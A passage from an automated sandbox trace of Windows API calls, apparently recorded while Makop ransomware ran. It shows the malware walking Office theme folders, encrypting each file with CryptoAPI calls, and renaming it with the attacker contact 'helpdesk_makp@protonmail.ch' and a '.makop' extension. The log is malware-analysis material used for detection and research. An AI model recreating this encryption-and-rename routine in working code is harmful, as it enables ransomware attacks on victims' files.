lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0099.385] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.385] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.385] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.385] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.386] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.386] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.386] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.386] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.386] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x101e0, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x101e0, lpOverlapped=0x0) returned 1 [0099.389] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x101e0, dwBufLen=0x101e0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x101e0) returned 1 [0099.390] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.390] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x101e0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x101e0, lpOverlapped=0x0) returned 1 [0099.390] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.390] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x102a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.391] SetEndOfFile (hFile=0x138) returned 1 [0099.398] GetProcessHeap () returned 0x48a0000 [0099.398] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0099.398] GetProcessHeap () returned 0x48a0000 [0099.398] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.398] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0099.398] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.403] CloseHandle (hObject=0x138) returned 1 [0099.403] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1 [0099.403] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF") returned 73 [0099.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.404] GetProcessHeap () returned 0x48a0000 [0099.404] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.404] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.404] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.405] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x9, lpOverlapped=0x0) returned 1 [0099.408] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.408] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.408] GetProcessHeap () returned 0x48a0000 [0099.408] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0099.408] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0099.408] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.408] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0099.409] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.409] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.409] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.409] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.409] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.410] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.410] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.410] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.410] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1e7, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1e7, lpOverlapped=0x0) returned 1 [0099.410] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1f0) returned 1 [0099.410] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.410] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1f0, lpOverlapped=0x0) returned 1 [0099.410] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.410] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.410] SetEndOfFile (hFile=0x138) returned 1 [0099.417] GetProcessHeap () returned 0x48a0000 [0099.417] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0099.418] GetProcessHeap () returned 0x48a0000 [0099.418] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.418] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0099.418] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.421] CloseHandle (hObject=0x138) returned 1 [0099.421] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0099.421] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0099.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.423] GetProcessHeap () returned 0x48a0000 [0099.423] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.423] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.423] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.423] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x9, lpOverlapped=0x0) returned 1 [0099.427] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.427] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.427] GetProcessHeap () returned 0x48a0000 [0099.427] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.428] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.428] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.428] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.428] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.428] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.428] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.428] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.429] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.429] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.429] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.429] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.429] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7ce7, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x7ce7, lpOverlapped=0x0) returned 1 [0099.434] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x7cf0, dwBufLen=0x7cf0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x7cf0) returned 1 [0099.434] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.434] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x7cf0, lpOverlapped=0x0) returned 1 [0099.435] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.435] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x7dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.435] SetEndOfFile (hFile=0x138) returned 1 [0099.442] GetProcessHeap () returned 0x48a0000 [0099.442] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.442] GetProcessHeap () returned 0x48a0000 [0099.442] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.442] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0099.442] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.443] CloseHandle (hObject=0x138) returned 1 [0099.443] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0099.444] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0099.444] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0099.444] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE") returned 63 [0099.444] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*") returned 67 [0099.444] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0099.444] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.445] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0099.445] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0099.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.445] GetProcessHeap () returned 0x48a0000 [0099.445] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.445] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.445] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.446] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0099.450] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.450] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.450] GetProcessHeap () returned 0x48a0000 [0099.451] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.451] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.451] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.451] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.451] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.451] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.451] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.451] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.452] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.452] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.452] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.452] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.452] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1004, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1004, lpOverlapped=0x0) returned 1 [0099.454] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1010, dwBufLen=0x1010 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1010) returned 1 [0099.454] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.454] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1010, lpOverlapped=0x0) returned 1 [0099.454] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.454] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x10e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.454] SetEndOfFile (hFile=0x138) returned 1 [0099.461] GetProcessHeap () returned 0x48a0000 [0099.461] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.461] GetProcessHeap () returned 0x48a0000 [0099.461] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.461] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft 